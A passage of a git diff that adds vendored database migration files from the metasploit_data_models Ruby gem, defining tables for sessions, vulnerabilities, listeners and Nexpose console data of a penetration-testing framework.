t.string :via_exploit # module name + t.string :via_payload # payload name + t.string :desc # session description + t.integer :port + t.string :platform # platform type of the remote system + t.string :routes + + t.text :datastore # module's datastore + + t.timestamp :opened_at, :null => false + t.timestamp :closed_at + + t.string :close_reason + end + + create_table :session_events do |t| + t.integer :session_id + + t.string :etype # event type: command, output, upload, download, filedelete + t.binary :command + t.binary :output + t.string :remote_path + t.string :local_path + + t.timestamp :created_at + end + + # + # Migrate session data from events table + # + + close_events = Event.find_all_by_name("session_close") + open_events = Event.find_all_by_name("session_open") + + command_events = Event.find_all_by_name("session_command") + output_events = Event.find_all_by_name("session_output") + upload_events = Event.find_all_by_name("session_upload") + download_events = Event.find_all_by_name("session_download") + + open_events.each do |o| + c = close_events.find { |e| e.info[:session_uuid] == o.info[:session_uuid] } + + s = Session.new( + :host_id => o.host_id, + :stype => o.info[:session_type], + :via_exploit => o.info[:via_exploit], + :via_payload => o.info[:via_payload], + :datastore => o.info[:datastore], + :opened_at => o.created_at + ) + + if c + s.closed_at = c.created_at + s.desc = c.info[:session_info] + else + # couldn't find the corresponding close event + s.closed_at = s.opened_at + s.desc = "?" + end + + uuid = o.info[:session_uuid] + + command_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "command", :command => e.info[:command] ) + end + + output_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "output", :output => e.info[:output] ) + end + + upload_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "upload", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) + end + + download_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| + s.events.build(:created_at => e.created_at, :etype => "download", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) + end + + s.events.sort_by(&:created_at) + + s.save! + end + end + + def self.down + drop_table :sessions + drop_table :session_events + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb new file mode 100755 index 0000000000..7c0e57c505 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb @@ -0,0 +1,11 @@ +class AddLocalIdToSessionTable < ActiveRecord::Migration + + def self.up + add_column :sessions, :local_id, :integer + end + + def self.down + remove_column :sessions, :local_id + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb new file mode 100755 index 0000000000..1eb104f9bf --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb @@ -0,0 +1,18 @@ +class AddRoutesTable < ActiveRecord::Migration + + def self.up + create_table :routes do |t| + t.integer :session_id + t.string :subnet + t.string :netmask + end + + remove_column :sessions, :routes + end + + def self.down + drop_table :routes + + add_column :sessions, :routes, :string + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb new file mode 100755 index 0000000000..4fa3428ad1 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb @@ -0,0 +1,72 @@ +class ConvertBinary < ActiveRecord::Migration + + + class WebPage < ActiveRecord::Base + serialize :headers + end + + class WebVuln < ActiveRecord::Base + serialize :params + end + + def bfilter(str) + str = str.to_s + str.encoding = 'binary' if str.respond_to?('encoding=') + str.gsub(/[\x00\x7f-\xff]/, '') + end + + def self.up + rename_column :web_pages, :body, :body_text + rename_column :web_pages, :request, :request_text + rename_column :web_vulns, :request, :request_text + rename_column :web_vulns, :proof, :proof_text + + add_column :web_pages, :body, :binary + add_column :web_pages, :request, :binary + add_column :web_vulns, :request, :binary + add_column :web_vulns, :proof, :binary + + WebPage.find(:all).each { |r| r.body = r.body_text; r.save! } + WebPage.find(:all).each { |r| r.request = r.request_text; r.save! } + WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! } + WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! } + + remove_column :web_pages, :body_text + remove_column :web_pages, :request_text + remove_column :web_vulns, :request_text + remove_column :web_vulns, :proof_text + + WebPage.connection.schema_cache.clear! + WebPage.reset_column_information + WebVuln.connection.schema_cache.clear! + WebVuln.reset_column_information + end + + def self.down + + rename_column :web_pages, :body, :body_binary + rename_column :web_pages, :request, :request_binary + rename_column :web_vulns, :request, :request_binary + rename_column :web_vulns, :proof, :proof_binary + + add_column :web_pages, :body, :text + add_column :web_pages, :request, :text + add_column :web_vulns, :request, :text + add_column :web_vulns, :proof, :text + + WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! } + WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } + WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! } + WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } + + remove_column :web_pages, :body_binary + remove_column :web_pages, :request_binary + remove_column :web_vulns, :request_binary + remove_column :web_vulns, :proof_binary + + WebPage.connection.schema_cache.clear! + WebPage.reset_column_information + WebVuln.connection.schema_cache.clear! + WebVuln.reset_column_information + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb new file mode 100755 index 0000000000..48380af6ae --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb @@ -0,0 +1,8 @@ +class AddLastSeenToSessions < ActiveRecord::Migration + def self.up + add_column :sessions, :last_seen, :timestamp + end + def self.down + remove_column :sessions, :last_seen + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb new file mode 100755 index 0000000000..7c55105fe8 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb @@ -0,0 +1,31 @@ +class TrackSuccessfulExploits < ActiveRecord::Migration + + + class ExploitedHost < ActiveRecord::Base + end + + class Vuln < ActiveRecord::Base + end + + def self.up + add_column :vulns, :exploited_at, :timestamp + + # Migrate existing exploited_hosts entries + + ExploitedHost.find(:all).select {|x| x.name}.each do |exploited_host| + next unless(exploited_host.name =~ /^(exploit|auxiliary)\//) + vulns = Vuln.find_all_by_name_and_host_id(exploited_host.name, exploited_host.host_id) + next if vulns.empty? + vulns.each do |vuln| + vuln.exploited_at = exploited_host.updated_at + vuln.save + end + end + + end + + def self.down + remove_column :vulns, :exploited_at + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb new file mode 100755 index 0000000000..e1b8955b7f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb @@ -0,0 +1,26 @@ +class RenameAndPruneNessusVulns < ActiveRecord::Migration + + class Vuln < ActiveRecord::Base + end + + # No table changes, just vuln renaming to drop the NSS id + # from those vulns that have it and a descriptive name. + def self.up + Vuln.find(:all).each do |v| + if v.name =~ /^NSS-0?\s*$/ + v.delete + next + end + next unless(v.name =~ /^NSS-[0-9]+\s(.+)/) + new_name = $1 + next if(new_name.nil? || new_name.strip.empty?) + v.name = new_name + v.save! + end + end + + def self.down + say "Cannot un-rename and un-prune NSS vulns for migration 20110517160800." + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb new file mode 100755 index 0000000000..5af2d46704 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb @@ -0,0 +1,11 @@ +class AddTaskIdToReportsTable < ActiveRecord::Migration + + def self.up + add_column :reports, :task_id, :integer + end + + def self.down + remove_column :reports, :task_id + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb new file mode 100755 index 0000000000..13e6ecedd0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb @@ -0,0 +1,12 @@ +class AddApiKeysTable < ActiveRecord::Migration + def self.up + create_table :api_keys do |t| + t.text :token + t.timestamps + end + end + def self.down + drop_table :api_keys + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb new file mode 100755 index 0000000000..bfb8ef6085 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb @@ -0,0 +1,16 @@ +class AddMacrosTable < ActiveRecord::Migration + def self.up + create_table :macros do |t| + t.timestamps + t.text :owner + t.text :name + t.text :description + t.binary :actions + t.binary :prefs + end + end + def self.down + drop_table :macros + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb new file mode 100755 index 0000000000..ee9ee21070 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb @@ -0,0 +1,12 @@ +class AddSettingsToTasksTable < ActiveRecord::Migration + + def self.up + add_column :tasks, :settings, :binary + end + + def self.down + remove_column :tasks, :settings + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb new file mode 100755 index 0000000000..c541be2131 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb @@ -0,0 +1,19 @@ +class AddListenersTable < ActiveRecord::Migration + def self.up + create_table :listeners do |t| + t.timestamps + t.integer :workspace_id, :null => false, :default => 1 + t.integer :task_id + t.boolean :enabled, :default => true + t.text :owner + t.text :payload + t.text :address + t.integer :port + t.binary :options + end + end + def self.down + drop_table :listeners + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb new file mode 100755 index 0000000000..283d102105 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb @@ -0,0 +1,12 @@ +class AddMacroToListenersTable < ActiveRecord::Migration + + def self.up + add_column :listeners, :macro, :text + end + + def self.down + remove_column :listeners, :macro + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb new file mode 100755 index 0000000000..037af40ae1 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb @@ -0,0 +1,21 @@ +class AddNexposeConsolesTable < ActiveRecord::Migration + def self.up + create_table :nexpose_consoles do |t| + t.timestamps + t.boolean :enabled, :default => true + t.text :owner + t.text :address + t.integer :port, :default => 3780 + t.text :username + t.text :password + t.text :status + t.text :version + t.text :cert + t.binary :cached_sites + end + end + def self.down + drop_table :nexpose_consoles + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb new file mode 100755 index 0000000000..9411724344 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb @@ -0,0 +1,12 @@ +class AddNameToNexposeConsolesTable < ActiveRecord::Migration + + def self.up + add_column :nexpose_consoles, :name, :text + end + + def self.down + remove_column :nexpose_consoles, :name + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb new file mode 100755 index 0000000000..c0b8831bf1 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb @@ -0,0 +1,15 @@ +class AddProfilesTable < ActiveRecord::Migration + def self.up + create_table :profiles do |t| + t.timestamps + t.boolean :active, :default => true + t.text :name + t.text :owner + t.binary :settings + end + end + def self.down + drop_table :profiles + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb new file mode 100755 index 0000000000..b5fce6fd8f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb @@ -0,0 +1,9 @@ +class ExpandCredPtypeColumn < ActiveRecord::Migration + def self.up + change_column :creds, :ptype, :string, :limit => 256 + end + def self.down + change_column :creds, :ptype, :string, :limit => 16 + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb new file mode 100755 index 0000000000..4085f64843 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb @@ -0,0 +1,85 @@ +class AddInitialIndexes < ActiveRecord::Migration + def self.up + + + add_index :hosts, :address + add_index :hosts, :address6 + add_index :hosts, :name + add_index :hosts, :state + add_index :hosts, :os_name + add_index :hosts, :os_flavor + add_index :hosts, :purpose + + # Removed (conditionally dropped in the next migration) + # add_index :hosts, :comments + + add_index :services, :port + add_index :services, :proto + add_index :services, :state + add_index :services, :name + + # Removed (conditionally dropped in the next migration) + # add_index :services, :info + + add_index :notes, :ntype + + add_index :vulns, :name + + # Removed (conditionally dropped in the next migration) + # add_index :vulns, :info + + add_index :refs, :name + + add_index :web_sites, :vhost + add_index :web_sites, :comments + add_index :web_sites, :options + + add_index :web_pages, :path + add_index :web_pages, :query + + add_index :web_forms, :path + + add_index :web_vulns, :path + add_index :web_vulns, :method + add_index :web_vulns, :name + end + + def self.down + + remove_index :hosts, :address + remove_index :hosts, :address6 + remove_index :hosts, :name + remove_index :hosts, :state + remove_index :hosts, :os_name + remove_index :hosts, :os_flavor + remove_index :hosts, :purpose + remove_index :hosts, :comments + + remove_index :services, :port + remove_index :services, :proto + remove_index :services, :state + remove_index :services, :name + remove_index :services, :info + + remove_index :notes, :ntype + + remove_index :vulns, :name + remove_index :vulns, :info + + remove_index :refs, :name + + remove_index :web_sites, :vhost + remove_index :web_sites, :comments + remove_index :web_sites, :options + + remove_index :web_pages, :path + remove_index :web_pages, :query + + remove_index :web_forms, :path + + remove_index :web_vulns, :path + remove_index :web_vulns, :method + remove_index :web_vulns, :name + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb new file mode 100755 index 0000000000..54b681f273 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb @@ -0,0 +1,23 @@ +class PruneIndexes < ActiveRecord::Migration + def self.up + + if indexes(:hosts).map{|x| x.columns }.flatten.include?("comments") + remove_index :hosts, :comments + end + + if indexes(:services).map{|x| x.columns }.flatten.include?("info") + remove_index :services, :info + end + + if indexes(:vulns).map{|x| x.columns }.flatten.include?("info") + remove_index :vulns, :info + end + end + + def self.down + add_index :hosts, :comments + add_index :services, :info + add_index :vulns, :info + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb new file mode 100755 index 0000000000..4e77303fa0 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb @@ -0,0 +1,9 @@ +class ExpandNotes < ActiveRecord::Migration + def self.up + change_column :notes, :data, :text + end + def self.down + change_column :notes, :data, :string, :limit => 65536 + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb new file mode 100755 index 0000000000..24f16d642f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb @@ -0,0 +1,17 @@ +# Probably temporary, a spot to stash module names and their associated refs +# Don't count on it being populated at any given moment. +class AddModRefTable < ActiveRecord::Migration + + def self.up + create_table :mod_refs do |t| + t.string :module, :limit => 1024 + t.string :mtype, :limit => 128 + t.text :ref + end + end + + def self.down + drop_table :mod_refs + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb new file mode 100755 index 0000000000..f0c54fed98 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb @@ -0,0 +1,24 @@ +class AddDisplayNameToReportsTable < ActiveRecord::Migration + + class Report < ActiveRecord::Base + end + + def self.up + + add_column :reports, :name, :string, :limit => 63 + + # Migrate to have a default name. + + Report.find(:all).each do |report| + rtype = report.rtype.to_s =~ /^([A-Z0-9]+)\x2d/i ? $1 : "AUDIT" + default_name = rtype[0,57].downcase.capitalize + "-" + report.id.to_s[0,5] + report.name = default_name + report.save + end + end + + def self.down + remove_column :reports, :name + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb new file mode 100755 index 0000000000..6e86654bc5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb @@ -0,0 +1,13 @@ +class InetColumns < ActiveRecord::Migration + + def self.up + change_column :hosts, :address, 'INET using address::INET' + remove_column :hosts, :address6 + end + + def self.down + change_column :hosts, :address, :text + add_column :hosts, :address6, :text + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb new file mode 100755 index 0000000000..56adf64625 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb @@ -0,0 +1,17 @@ +class MoreInetColumns < ActiveRecord::Migration + + def self.up + change_column :wmap_requests, :address, 'INET using address::INET' + remove_column :wmap_requests, :address6 + change_column :wmap_targets, :address, 'INET using address::INET' + remove_column :wmap_targets, :address6 + end + + def self.down + change_column :wmap_requests, :address, :string, :limit => 16 + add_column :wmap_requests, :address6, :string, :limit => 255 + change_column :wmap_targets, :address, :string, :limit => 16 + add_column :wmap_targets, :address6, :string, :limit => 255 + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb new file mode 100755 index 0000000000..2bbe8f9f77 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb @@ -0,0 +1,9 @@ +class AddScopeToHosts < ActiveRecord::Migration + def self.up + add_column :hosts, :scope, :text + end + + def self.down + remove_column :hosts, :scope + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb new file mode 100755 index 0000000000..5e9833d884 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb @@ -0,0 +1,9 @@ +class AddVirtualHostToHosts < ActiveRecord::Migration + def self.up + add_column :hosts, :virtual_host, :text + end + + def self.down + remove_column :hosts, :viritual_host + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb new file mode 100755 index 0000000000..75003d6d36 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb @@ -0,0 +1,9 @@ +class RenameWorkspaceMembers < ActiveRecord::Migration + def up + rename_table :project_members, :workspace_members + end + + def down + rename_table :workspace_members, :project_members + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb new file mode 100755 index 0000000000..fcd2f9e0ca --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb @@ -0,0 +1,21 @@ +class AddCounterCachesToHosts < ActiveRecord::Migration + + def self.up + add_column :hosts, :note_count, :integer, :default => 0 + add_column :hosts, :vuln_count, :integer, :default => 0 + add_column :hosts, :service_count, :integer, :default => 0 + + Mdm::Host.reset_column_information + Mdm::Host.all.each do |h| + Mdm::Host.reset_counters h.id, :notes + Mdm::Host.reset_counters h.id, :vulns + Mdm::Host.reset_counters h.id, :services + end + end + + def self.down + remove_column :hosts, :note_count + remove_column :hosts, :vuln_count + remove_column :hosts, :service_count + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb new file mode 100755 index 0000000000..0f946da39c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb @@ -0,0 +1,34 @@ +class AddVulnDetails < ActiveRecord::Migration + + def self.up + create_table :vuln_details do |t| + t.integer :vuln_id # Vuln table reference + t.float :cvss_score # 0.0 to 10.0 + t.string :cvss_vector # Ex: (AV:N/AC:L/Au:N/C:C/I:C/A:C)(AV:N/AC:L/Au:N/C:C/I:C/A:C) + + t.string :title # Short identifier + t.text :description # Plain text or HTML (trusted) + t.text :solution # Plain text or HTML (trusted) + t.binary :proof # Should be UTF-8, but may not be, sanitize on output + # Technically this duplicates vuln.info, but that field + # is poorly managed / handled today. Eventually we will + # replace vuln.info + + # Nexpose-specific fields + t.integer :nx_console_id # NexposeConsole table reference + t.integer :nx_device_id # Reference from the Nexpose side + t.string :nx_vuln_id # 'jre-java-update-flaw' + t.float :nx_severity # 0-10 + t.float :nx_pci_severity # 0-10 + t.timestamp :nx_published # Normalized from "20081205T000000000" + t.timestamp :nx_added # Normalized from "20081205T000000000" + t.timestamp :nx_modified # Normalized from "20081205T000000000" + t.text :nx_tags # Comma separated + + end + end + + def self.down + drop_table :vuln_details + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb new file mode 100755 index 0000000000..36e70892fa --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb @@ -0,0 +1,16 @@ +class AddHostDetails < ActiveRecord::Migration + + def self.up + create_table :host_details do |t| + t.integer :host_id # Host table reference + + # Nexpose-specific fields + t.integer :nx_console_id # NexposeConsole table reference + t.integer :nx_device_id # Reference from the Nexpose side + end + end + + def self.down + drop_table :host_details + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb new file mode 100755 index 0000000000..bd240ecdc5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb @@ -0,0 +1,16 @@ +class ExpandDetails < ActiveRecord::Migration + + def self.up + add_column :vuln_details, :nx_vuln_status, :text + add_column :vuln_details, :nx_proof_key, :text + add_column :vuln_details, :src, :string + add_column :host_details, :src, :string + end + + def self.down + remove_column :vuln_details, :nx_vuln_status + remove_column :vuln_details, :nx_proof_key + remove_column :vuln_details, :src + remove_column :host_details, :src + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb new file mode 100755 index 0000000000..4122503692 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb @@ -0,0 +1,24 @@ +class ExpandDetails2 < ActiveRecord::Migration + + def self.up + add_column :host_details, :nx_site_name, :string + add_column :host_details, :nx_site_importance, :string + add_column :host_details, :nx_scan_template, :string + add_column :host_details, :nx_risk_score, :float + + add_column :vuln_details, :nx_scan_id, :integer + add_column :vuln_details, :nx_vulnerable_since, :timestamp + add_column :vuln_details, :nx_pci_compliance_status, :string + end + + def self.down + remove_column :host_details, :nx_site_name + remove_column :host_details, :nx_site_importance + remove_column :host_details, :nx_scan_template + remove_column :host_details, :nx_risk_score + + remove_column :vuln_details, :nx_scan_id + remove_column :vuln_details, :nx_vulnerable_since + remove_column :vuln_details, :nx_pci_compliance_status + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb new file mode 100755 index 0000000000..b943fe358f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb @@ -0,0 +1,19 @@ +class AddVulnAttempts < ActiveRecord::Migration + + def self.up + create_table :vuln_attempts do |t| + t.integer :vuln_id # Vuln table reference + t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited + t.boolean :exploited # Whether or not the attempt succeeded + t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant + t.string :username # The user that 